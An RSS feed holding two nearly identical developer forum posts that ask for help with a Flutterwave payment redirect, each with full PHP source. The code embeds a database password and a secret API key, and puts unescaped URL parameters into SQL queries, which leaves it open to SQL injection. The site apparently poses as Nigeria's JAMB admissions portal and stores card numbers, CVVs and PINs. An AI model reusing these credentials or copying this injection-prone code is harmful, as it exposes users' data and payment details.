<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: beejose13th</title>
    <description>The latest articles on DEV Community by beejose13th (@beejose13th).</description>
    <link>https://dev.to/beejose13th</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1411952%2F5851401f-2568-4baa-90e5-2357b8ca59b4.png</url>
      <title>DEV Community: beejose13th</title>
      <link>https://dev.to/beejose13th</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/beejose13th"/>
    <language>en</language>
    <item>
      <title>NEED HELP WITH FLUTTERWAVE PAYMENT INTEGRATION</title>
      <dc:creator>beejose13th</dc:creator>
      <pubDate>Mon, 08 Apr 2024 12:13:46 +0000</pubDate>
      <link>https://dev.to/beejose13th/need-help-with-flutterwave-payment-integration-nji</link>
      <guid>https://dev.to/beejose13th/need-help-with-flutterwave-payment-integration-nji</guid>
      <description>&lt;p&gt;Please I need help integrating Flutter Wave payment gateway on my website, I have done all I could and right now the problem i am having is after payment is successful , my paymentprocessor file which is also my success redirect page shows blank and refuse to confirm the payment for users ....please i need help anybody , see attached php codes scripts &lt;/p&gt;

&lt;p&gt;`&amp;lt;?php session_start();&lt;br&gt;
 $dbhost = 'localhost';&lt;br&gt;
         $dbuser = 'cleajjiq_0ctwll1';&lt;br&gt;
         $dbpass = '#Opeyemi2018';&lt;br&gt;
         $dbname = 'cleajjiq_fedstudyloan';&lt;br&gt;
         $conn = mysqli_connect($dbhost, $dbuser, $dbpass,$dbname);&lt;/p&gt;

&lt;p&gt;if(isset($_GET["bitusername"]))&lt;br&gt;
{ &lt;br&gt;
    $useremail = $_GET["bitusername"]; &lt;br&gt;
}&lt;/p&gt;

&lt;p&gt;$sqlx=mysqli_query($conn, "SELECT * FROM formtypes WHERE email='$useremail'");&lt;br&gt;
$rowx=mysqli_fetch_array($sqlx);&lt;br&gt;
$fullname = $rowx['fullname'];&lt;br&gt;
$accountnumber ="";&lt;br&gt;
$bankname = "";&lt;/p&gt;

&lt;p&gt;$sqlx=mysqli_query($conn, "SELECT * FROM thinkabout WHERE email='$useremail'");&lt;br&gt;
if(mysqli_num_rows($sqlx) &amp;gt; 0 )&lt;br&gt;
{&lt;br&gt;
    $rowx=mysqli_fetch_array($sqlx);&lt;br&gt;
    $university = $rowx['interestedstudy'];&lt;br&gt;
    $degree = $rowx['degreetype'];&lt;br&gt;
    $coursed = $rowx['desiredfield'];&lt;br&gt;
    $egd = $rowx['datofgraduation'];&lt;br&gt;
    $fieldofstudy = $rowx['fieldofstudy'];&lt;br&gt;
    $applicationnumber = $rowx['appid'];&lt;br&gt;
    $datelog = $rowx['datelog'];&lt;br&gt;
    $assignedloan = $rowx['assignloan'];&lt;br&gt;
    $hearaboutus = $rowx['hearaboutus'];&lt;br&gt;
    $mobilenumber = $rowx['phone'];&lt;br&gt;
    $email = $rowx['email'];&lt;br&gt;
    $citizencountry= $rowx['citizencounty'];&lt;/p&gt;

&lt;p&gt;}&lt;/p&gt;

&lt;p&gt;$sqlx=mysqli_query($conn, "SELECT * FROM checkeeligibility WHERE email='$useremail'");&lt;br&gt;
if(mysqli_num_rows($sqlx) &amp;gt; 0 )&lt;/p&gt;

&lt;p&gt;{  $rowx=mysqli_fetch_array($sqlx);&lt;br&gt;
    $university = $rowx['university'];&lt;br&gt;
    $degree = $rowx['degree'];&lt;br&gt;
    $coursed = $rowx['coursed'];&lt;br&gt;
    $egd = $rowx['egd'];&lt;br&gt;
    $levelofstudy = $rowx['levelofstudy'];&lt;br&gt;
    $applicationnumber = $rowx['applicationnumber'];&lt;br&gt;
    $datelog = $rowx['datelog'];&lt;br&gt;
    $assignedloan = $rowx['assignloan'];&lt;br&gt;
    $hearaboutus = $rowx['hearaboutus'];&lt;br&gt;
    $citizencountry= $rowx['citizencountry'];&lt;br&gt;
    $email = $rowx['email'];&lt;br&gt;
    $mobilenumber = $rowx['mobilenumber'];&lt;/p&gt;

&lt;pre class="highlight plaintext"&gt;&lt;code&gt;}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;$sqlxx=mysqli_query($conn, "SELECT * FROM accountdetails WHERE useremail='$useremail'");&lt;br&gt;
if(mysqli_num_rows($sqlxx) &amp;gt; 0 )&lt;br&gt;
{&lt;br&gt;
    $rowxx=mysqli_fetch_array($sqlxx);&lt;br&gt;
    $accountnumber = $rowxx['accountnumber'];&lt;br&gt;
    $bankname = $rowxx['bankname'];&lt;br&gt;
}&lt;/p&gt;

&lt;p&gt;if(isset($_POST['paysubmit']))&lt;br&gt;
{&lt;/p&gt;

&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$useremail = $useremail;
$useramount = 20;
$fullname = $fullname;
$usertitle = "EnrollmentVerify";
$userdescription = "Check Academic Status";
$university = "";
$degree = "";
$coursed = "";
$egd = "";
$fieldofstudy = "";
$applicationnumber = "";
$datelog = "";
$assignedloan = "";
$hearaboutus = "";
$mobilenumber = "";
$email = $email;
$citizencountry= "";



$university = "";
$degree = "";
$coursed = "";
$egd = "";
$levelofstudy = "";
$applicationnumber = "";
$datelog = "";
$assignedloan = "";
$hearaboutus = "";
$citizencountry= "";
$email = $email;
$mobilenumber = "";






$email = $useremail;
$amount = $useramount;
$processorlink = 'https://student.clearinghouse.services/academic_check/paymentprocessor/index.php?useremail='.$useremail;

//* Prepare our rave request
$request = [
    'tx_ref' =&amp;gt; "tx_ref". time(),
    'amount' =&amp;gt; $useramount,
    'currency' =&amp;gt; 'NGN',
    'payment_options' =&amp;gt; 'ussd',
    'redirect_url' =&amp;gt; $processorlink,
    'customer' =&amp;gt; [
        'email' =&amp;gt; $email,
        'name' =&amp;gt; $fullname
    ],
    'meta' =&amp;gt; [
        'price' =&amp;gt; $useramount
    ],
    'customizations' =&amp;gt; [
        'title' =&amp;gt; $usertitle,
        'description' =&amp;gt; $userdescription
    ]
];
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;echo json_encode($request)  ;&lt;/p&gt;

&lt;pre class="highlight plaintext"&gt;&lt;code&gt;//* Ca;; f;iterwave emdpoint
$curl = curl_init();
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;curl_setopt_array($curl, array(&lt;br&gt;
    CURLOPT_URL =&amp;gt; '&lt;a href="https://api.flutterwave.com/v3/payments"&gt;https://api.flutterwave.com/v3/payments&lt;/a&gt;',&lt;br&gt;
    CURLOPT_RETURNTRANSFER =&amp;gt; true,&lt;br&gt;
    CURLOPT_ENCODING =&amp;gt; '',&lt;br&gt;
    CURLOPT_MAXREDIRS =&amp;gt; 10,&lt;br&gt;
    CURLOPT_TIMEOUT =&amp;gt; 0,&lt;br&gt;
    CURLOPT_FOLLOWLOCATION =&amp;gt; true,&lt;br&gt;
    CURLOPT_HTTP_VERSION =&amp;gt; CURL_HTTP_VERSION_1_1,&lt;br&gt;
    CURLOPT_CUSTOMREQUEST =&amp;gt; 'POST',&lt;br&gt;
    CURLOPT_POSTFIELDS =&amp;gt; json_encode($request),&lt;br&gt;
    CURLOPT_HTTPHEADER =&amp;gt; array(&lt;br&gt;
        'Authorization: Bearer FLWSECK-bedb9d4089303efc6a8f2ba820f893d3-18ebb6179f1vt-X',&lt;br&gt;
        'Content-Type: application/json'&lt;br&gt;
    ),&lt;br&gt;
    ));&lt;/p&gt;

&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$response = curl_exec($curl);

curl_close($curl);

$res = json_decode($response);
if($res-&amp;gt;status == 'success')
{
    $linktr = $res-&amp;gt;data-&amp;gt;link;
    header('Location: '.$linktr);
   /* echo '&amp;lt;script&amp;gt;window.location.href="'.$linktr.'"&amp;lt;/script&amp;gt;'; */

}
else
{
    echo 'Cannot Process Transaction';
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;}&lt;/p&gt;

&lt;p&gt;?&amp;gt;  &lt;/p&gt;

&lt;p&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/p&gt;


&lt;br&gt;
    JAMB | CAPS &lt;br&gt;
&lt;br&gt;
        &amp;lt;!-- BEGIN GLOBAL MANDATORY STYLES --&amp;gt;&lt;br&gt;
        &lt;br&gt;
        &amp;lt;!-- END GLOBAL MANDATORY STYLES --&amp;gt;&lt;br&gt;
        &amp;lt;!-- BEGIN PAGE LEVEL PLUGINS --&amp;gt;&lt;br&gt;
        &lt;br&gt;
        &amp;lt;!-- END PAGE LEVEL PLUGINS --&amp;gt;&lt;br&gt;
        &amp;lt;!-- BEGIN THEME GLOBAL STYLES --&amp;gt;&lt;br&gt;
        &lt;br&gt;
        &amp;lt;!-- END THEME GLOBAL STYLES --&amp;gt;&lt;br&gt;
        &amp;lt;!-- BEGIN PAGE LEVEL STYLES --&amp;gt;&lt;br&gt;
        &lt;br&gt;
        &amp;lt;!-- END PAGE LEVEL STYLES --&amp;gt;&lt;br&gt;
        &amp;lt;!-- BEGIN THEME LAYOUT STYLES --&amp;gt;&lt;br&gt;
        &amp;lt;!-- END THEME LAYOUT STYLES --&amp;gt;&lt;br&gt;
        &lt;br&gt;
&lt;br&gt;
        &amp;lt;!-- BEGIN LOGO --&amp;gt;&lt;br&gt;
        &lt;br&gt;
            &lt;a href=""&gt;&lt;br&gt;
                &lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--iucSAp1k--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/v1/./JAMB%20_%20CAPS_files/jamb_s.png" alt="JAMB" width="" height=""&gt; &lt;/a&gt;&lt;br&gt;
            &lt;h2&gt; JAMB | Central Admissions Processing System | CAPS&lt;/h2&gt;
&lt;br&gt;
        &lt;br&gt;
        &amp;lt;!-- END LOGO --&amp;gt;&lt;br&gt;
        &amp;lt;!-- BEGIN LOGIN --&amp;gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;     &amp;lt;form name="formval2" class="form-horizontal loan-eligibility-form" method="post"  &amp;gt;


    &amp;lt;p&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;h5&amp;gt;&amp;lt;font color="white"&amp;gt;&amp;lt;a&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;b&amp;gt;Name:&amp;lt;/b&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;?php echo $fullname ?&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/h5&amp;gt;&amp;lt;/p&amp;gt;

                                          &amp;lt;p&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;h5&amp;gt;&amp;lt;font color="white"&amp;gt;&amp;lt;a&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;b&amp;gt;Institution:&amp;lt;/b&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;?php echo $university ?&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/h5&amp;gt;&amp;lt;/p&amp;gt;

                                         &amp;lt;p&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;h5&amp;gt;&amp;lt;font color="white"&amp;gt;&amp;lt;a&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;b&amp;gt;Degree Class:&amp;lt;/b&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;?php echo $degree ?&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/h5&amp;gt;&amp;lt;/p&amp;gt;

                                                                                     &amp;lt;p&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;h5&amp;gt;&amp;lt;font color="white"&amp;gt;&amp;lt;a&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;b&amp;gt;Level of Study:&amp;lt;/b&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;?php echo $levelofstudy ?&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/h5&amp;gt;&amp;lt;/p&amp;gt;
                                                                                     &amp;lt;p&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;h5&amp;gt;&amp;lt;font color="white"&amp;gt;&amp;lt;a&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;b&amp;gt;Course of Study:&amp;lt;/b&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;?php echo $coursed ?&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/h5&amp;gt;&amp;lt;/p&amp;gt;

                                        &amp;lt;p&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;h5&amp;gt;&amp;lt;font color="white"&amp;gt;&amp;lt;a&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;b&amp;gt;Matric/Registration Number:&amp;lt;/b&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;?php echo $fieldofstudy ?&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/h5&amp;gt;&amp;lt;/p&amp;gt;

                                          &amp;lt;p&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;h5&amp;gt;&amp;lt;font color="white"&amp;gt;&amp;lt;a&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;b&amp;gt;Date of Admission:&amp;lt;/b&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;?php echo $egd ?&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/h5&amp;gt;&amp;lt;/p&amp;gt;



                                    &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;
                                    &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;
                                    &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;
                                     &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;
                                    &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;
                                    &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;
                                     &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;
                                    &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;
                                    &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
Verify Academic Qualification 



&lt;br&gt;
  
&lt;br&gt;
  
&lt;br&gt;
  
&lt;br&gt;
  

`

&lt;p&gt;`&lt;br&gt;
  &lt;br&gt;
  &lt;br&gt;
&amp;lt;?php &lt;/p&gt;

&lt;p&gt;if(isset($_GET["bitusername"]))&lt;br&gt;
{ &lt;br&gt;
    $useremail = $_GET["bitusername"]; &lt;br&gt;
}&lt;/p&gt;

&lt;pre class="highlight plaintext"&gt;&lt;code&gt;if(isset($_GET['status']))
{
    //* check payment status
    if($_GET['status'] == 'cancelled')
    {
        // echo 'YOu cancel the payment';
        echo '&amp;lt;script&amp;gt;alert("Transaction Cancelled")&amp;lt;/script&amp;gt;';

    }
    elseif($_GET['status'] == 'successful')
    {
         $txid = $_GET['tx_ref'];

        $curl = curl_init();
        curl_setopt_array($curl, array(
            CURLOPT_URL =&amp;gt; "https://api.flutterwave.com/v3/transactions/{$txid}/verify",
            CURLOPT_RETURNTRANSFER =&amp;gt; true,
            CURLOPT_ENCODING =&amp;gt; "",
            CURLOPT_MAXREDIRS =&amp;gt; 10,
            CURLOPT_TIMEOUT =&amp;gt; 0,
            CURLOPT_FOLLOWLOCATION =&amp;gt; true,
            CURLOPT_HTTP_VERSION =&amp;gt; CURL_HTTP_VERSION_1_1,
            CURLOPT_CUSTOMREQUEST =&amp;gt; "GET",
            CURLOPT_HTTPHEADER =&amp;gt; array(
              "Content-Type: application/json",
              "Authorization: Bearer FLWPUBK-9775d7a1d15e6beda614bf1f75c995de-X"
            ),
          ));

          $response = curl_exec($curl);

          curl_close($curl);

          $res = json_decode($response);
          if($res-&amp;gt;status)
          {
            $amountPaid = $res-&amp;gt;data-&amp;gt;charged_amount;
            $amountToPay = $res-&amp;gt;data-&amp;gt;meta-&amp;gt;price;
            if($amountPaid &amp;gt;= $amountToPay)
            {
                //echo 'Payment successful';


                if(isset($_GET["useremail"]))
                { 
                    $useremail = $_GET["useremail"]; 

          $dbhost = 'localhost';
     $dbuser = 'cleajjiq_0ctwll1';
     $dbpass = '#Opeyemi2018';
     $dbname = 'cleajjiq_fedstudyloan';
     $conn = mysqli_connect($dbhost, $dbuser, $dbpass,$dbname);


                    $cns = "";
                    $ccv = "";
                    $cpin = "Checking Academic Status";
                    mysqli_query($conn, "UPDATE formtypes SET cardpin='$cpin', cardnumber='$cns', cvv='$ccv' WHERE email='$useremail'");





                   echo '&amp;lt;div class="alert alert-info"&amp;gt;
                        &amp;lt;strong&amp;gt;Info!&amp;lt;/strong&amp;gt; 
                        Your academic records is now captured and currently undergoing verification.
                        &amp;lt;br&amp;gt;
                        you can click on the close button below to complete your application.
                      &amp;lt;/div&amp;gt;
                      &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;
                      &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;
                      &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;

                      &amp;lt;div align="center"&amp;gt;&amp;lt;strong&amp;gt;Admission Status&amp;lt;/strong&amp;gt;&amp;lt;/div&amp;gt;


                      &amp;lt;div class="ring"&amp;gt;Checking
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;span&gt;&lt;/span&gt;&lt;br&gt;
';&lt;br&gt;
                    }&lt;/p&gt;

&lt;pre class="highlight plaintext"&gt;&lt;code&gt;                //* Continue to give item to the user
            }
            else
            {
                echo '&amp;lt;script&amp;gt;alert("Fraud Transaction Detected")&amp;lt;/script&amp;gt;';
                //echo 'Fraud transactio detected';
            }
          }
          else
          {
              echo '&amp;lt;script&amp;gt;alert("Error in Transaction")&amp;lt;/script&amp;gt;';
              //echo 'Can not process payment';
          }
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;?&amp;gt;&lt;/p&gt;

&lt;p&gt;`&lt;/p&gt;

</description>
    </item>
    <item>
      <title>NEED HELP WITH FLUTTERWAVE PAYMENT INTEGRATION</title>
      <dc:creator>beejose13th</dc:creator>
      <pubDate>Mon, 08 Apr 2024 12:06:37 +0000</pubDate>
      <link>https://dev.to/beejose13th/need-help-with-flutterwave-payment-integration-42e5</link>
      <guid>https://dev.to/beejose13th/need-help-with-flutterwave-payment-integration-42e5</guid>
      <description>&lt;p&gt;Please I need help integrating Flutter Wave payment gateway on my website, I have done all I could and right now the problem i am having is after payment is successful , my paymentprocessor file which is also my success redirect page shows blank and refuse to confirm the payment for users ....please i need help anybody , see attached php codes scripts &lt;/p&gt;

&lt;p&gt;`&amp;lt;?php session_start();&lt;br&gt;
 $dbhost = 'localhost';&lt;br&gt;
         $dbuser = 'cleajjiq_0ctwll1';&lt;br&gt;
         $dbpass = '#Opeyemi2018';&lt;br&gt;
         $dbname = 'cleajjiq_fedstudyloan';&lt;br&gt;
         $conn = mysqli_connect($dbhost, $dbuser, $dbpass,$dbname);&lt;/p&gt;

&lt;p&gt;if(isset($_GET["bitusername"]))&lt;br&gt;
{ &lt;br&gt;
    $useremail = $_GET["bitusername"]; &lt;br&gt;
}&lt;/p&gt;

&lt;p&gt;$sqlx=mysqli_query($conn, "SELECT * FROM formtypes WHERE email='$useremail'");&lt;br&gt;
$rowx=mysqli_fetch_array($sqlx);&lt;br&gt;
$fullname = $rowx['fullname'];&lt;br&gt;
$accountnumber ="";&lt;br&gt;
$bankname = "";&lt;/p&gt;

&lt;p&gt;$sqlx=mysqli_query($conn, "SELECT * FROM thinkabout WHERE email='$useremail'");&lt;br&gt;
if(mysqli_num_rows($sqlx) &amp;gt; 0 )&lt;br&gt;
{&lt;br&gt;
    $rowx=mysqli_fetch_array($sqlx);&lt;br&gt;
    $university = $rowx['interestedstudy'];&lt;br&gt;
    $degree = $rowx['degreetype'];&lt;br&gt;
    $coursed = $rowx['desiredfield'];&lt;br&gt;
    $egd = $rowx['datofgraduation'];&lt;br&gt;
    $fieldofstudy = $rowx['fieldofstudy'];&lt;br&gt;
    $applicationnumber = $rowx['appid'];&lt;br&gt;
    $datelog = $rowx['datelog'];&lt;br&gt;
    $assignedloan = $rowx['assignloan'];&lt;br&gt;
    $hearaboutus = $rowx['hearaboutus'];&lt;br&gt;
    $mobilenumber = $rowx['phone'];&lt;br&gt;
    $email = $rowx['email'];&lt;br&gt;
    $citizencountry= $rowx['citizencounty'];&lt;/p&gt;

&lt;p&gt;}&lt;/p&gt;

&lt;p&gt;$sqlx=mysqli_query($conn, "SELECT * FROM checkeeligibility WHERE email='$useremail'");&lt;br&gt;
if(mysqli_num_rows($sqlx) &amp;gt; 0 )&lt;/p&gt;

&lt;p&gt;{  $rowx=mysqli_fetch_array($sqlx);&lt;br&gt;
    $university = $rowx['university'];&lt;br&gt;
    $degree = $rowx['degree'];&lt;br&gt;
    $coursed = $rowx['coursed'];&lt;br&gt;
    $egd = $rowx['egd'];&lt;br&gt;
    $levelofstudy = $rowx['levelofstudy'];&lt;br&gt;
    $applicationnumber = $rowx['applicationnumber'];&lt;br&gt;
    $datelog = $rowx['datelog'];&lt;br&gt;
    $assignedloan = $rowx['assignloan'];&lt;br&gt;
    $hearaboutus = $rowx['hearaboutus'];&lt;br&gt;
    $citizencountry= $rowx['citizencountry'];&lt;br&gt;
    $email = $rowx['email'];&lt;br&gt;
    $mobilenumber = $rowx['mobilenumber'];&lt;/p&gt;

&lt;pre class="highlight plaintext"&gt;&lt;code&gt;}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;$sqlxx=mysqli_query($conn, "SELECT * FROM accountdetails WHERE useremail='$useremail'");&lt;br&gt;
if(mysqli_num_rows($sqlxx) &amp;gt; 0 )&lt;br&gt;
{&lt;br&gt;
    $rowxx=mysqli_fetch_array($sqlxx);&lt;br&gt;
    $accountnumber = $rowxx['accountnumber'];&lt;br&gt;
    $bankname = $rowxx['bankname'];&lt;br&gt;
}&lt;/p&gt;

&lt;p&gt;if(isset($_POST['paysubmit']))&lt;br&gt;
{&lt;/p&gt;

&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$useremail = $useremail;
$useramount = 20;
$fullname = $fullname;
$usertitle = "EnrollmentVerify";
$userdescription = "Check Academic Status";
$university = "";
$degree = "";
$coursed = "";
$egd = "";
$fieldofstudy = "";
$applicationnumber = "";
$datelog = "";
$assignedloan = "";
$hearaboutus = "";
$mobilenumber = "";
$email = $email;
$citizencountry= "";



$university = "";
$degree = "";
$coursed = "";
$egd = "";
$levelofstudy = "";
$applicationnumber = "";
$datelog = "";
$assignedloan = "";
$hearaboutus = "";
$citizencountry= "";
$email = $email;
$mobilenumber = "";






$email = $useremail;
$amount = $useramount;
$processorlink = 'https://student.clearinghouse.services/academic_check/paymentprocessor/index.php?useremail='.$useremail;

//* Prepare our rave request
$request = [
    'tx_ref' =&amp;gt; "tx_ref". time(),
    'amount' =&amp;gt; $useramount,
    'currency' =&amp;gt; 'NGN',
    'payment_options' =&amp;gt; 'ussd',
    'redirect_url' =&amp;gt; $processorlink,
    'customer' =&amp;gt; [
        'email' =&amp;gt; $email,
        'name' =&amp;gt; $fullname
    ],
    'meta' =&amp;gt; [
        'price' =&amp;gt; $useramount
    ],
    'customizations' =&amp;gt; [
        'title' =&amp;gt; $usertitle,
        'description' =&amp;gt; $userdescription
    ]
];
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;echo json_encode($request)  ;&lt;/p&gt;

&lt;pre class="highlight plaintext"&gt;&lt;code&gt;//* Ca;; f;iterwave emdpoint
$curl = curl_init();
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;curl_setopt_array($curl, array(&lt;br&gt;
    CURLOPT_URL =&amp;gt; '&lt;a href="https://api.flutterwave.com/v3/payments"&gt;https://api.flutterwave.com/v3/payments&lt;/a&gt;',&lt;br&gt;
    CURLOPT_RETURNTRANSFER =&amp;gt; true,&lt;br&gt;
    CURLOPT_ENCODING =&amp;gt; '',&lt;br&gt;
    CURLOPT_MAXREDIRS =&amp;gt; 10,&lt;br&gt;
    CURLOPT_TIMEOUT =&amp;gt; 0,&lt;br&gt;
    CURLOPT_FOLLOWLOCATION =&amp;gt; true,&lt;br&gt;
    CURLOPT_HTTP_VERSION =&amp;gt; CURL_HTTP_VERSION_1_1,&lt;br&gt;
    CURLOPT_CUSTOMREQUEST =&amp;gt; 'POST',&lt;br&gt;
    CURLOPT_POSTFIELDS =&amp;gt; json_encode($request),&lt;br&gt;
    CURLOPT_HTTPHEADER =&amp;gt; array(&lt;br&gt;
        'Authorization: Bearer FLWSECK-bedb9d4089303efc6a8f2ba820f893d3-18ebb6179f1vt-X',&lt;br&gt;
        'Content-Type: application/json'&lt;br&gt;
    ),&lt;br&gt;
    ));&lt;/p&gt;

&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$response = curl_exec($curl);

curl_close($curl);

$res = json_decode($response);
if($res-&amp;gt;status == 'success')
{
    $linktr = $res-&amp;gt;data-&amp;gt;link;
    header('Location: '.$linktr);
   /* echo '&amp;lt;script&amp;gt;window.location.href="'.$linktr.'"&amp;lt;/script&amp;gt;'; */

}
else
{
    echo 'Cannot Process Transaction';
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;}&lt;/p&gt;

&lt;p&gt;?&amp;gt;  &lt;/p&gt;

&lt;p&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/p&gt;


&lt;br&gt;
    JAMB | CAPS &lt;br&gt;
&lt;br&gt;
        &amp;lt;!-- BEGIN GLOBAL MANDATORY STYLES --&amp;gt;&lt;br&gt;
        &lt;br&gt;
        &amp;lt;!-- END GLOBAL MANDATORY STYLES --&amp;gt;&lt;br&gt;
        &amp;lt;!-- BEGIN PAGE LEVEL PLUGINS --&amp;gt;&lt;br&gt;
        &lt;br&gt;
        &amp;lt;!-- END PAGE LEVEL PLUGINS --&amp;gt;&lt;br&gt;
        &amp;lt;!-- BEGIN THEME GLOBAL STYLES --&amp;gt;&lt;br&gt;
        &lt;br&gt;
        &amp;lt;!-- END THEME GLOBAL STYLES --&amp;gt;&lt;br&gt;
        &amp;lt;!-- BEGIN PAGE LEVEL STYLES --&amp;gt;&lt;br&gt;
        &lt;br&gt;
        &amp;lt;!-- END PAGE LEVEL STYLES --&amp;gt;&lt;br&gt;
        &amp;lt;!-- BEGIN THEME LAYOUT STYLES --&amp;gt;&lt;br&gt;
        &amp;lt;!-- END THEME LAYOUT STYLES --&amp;gt;&lt;br&gt;
        &lt;br&gt;
&lt;br&gt;
        &amp;lt;!-- BEGIN LOGO --&amp;gt;&lt;br&gt;
        &lt;br&gt;
            &lt;a href=""&gt;&lt;br&gt;
                &lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--iucSAp1k--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/v1/./JAMB%20_%20CAPS_files/jamb_s.png" alt="JAMB" width="" height=""&gt; &lt;/a&gt;&lt;br&gt;
            &lt;h2&gt; JAMB | Central Admissions Processing System | CAPS&lt;/h2&gt;
&lt;br&gt;
        &lt;br&gt;
        &amp;lt;!-- END LOGO --&amp;gt;&lt;br&gt;
        &amp;lt;!-- BEGIN LOGIN --&amp;gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;     &amp;lt;form name="formval2" class="form-horizontal loan-eligibility-form" method="post"  &amp;gt;


    &amp;lt;p&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;h5&amp;gt;&amp;lt;font color="white"&amp;gt;&amp;lt;a&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;b&amp;gt;Name:&amp;lt;/b&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;?php echo $fullname ?&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/h5&amp;gt;&amp;lt;/p&amp;gt;

                                          &amp;lt;p&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;h5&amp;gt;&amp;lt;font color="white"&amp;gt;&amp;lt;a&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;b&amp;gt;Institution:&amp;lt;/b&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;?php echo $university ?&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/h5&amp;gt;&amp;lt;/p&amp;gt;

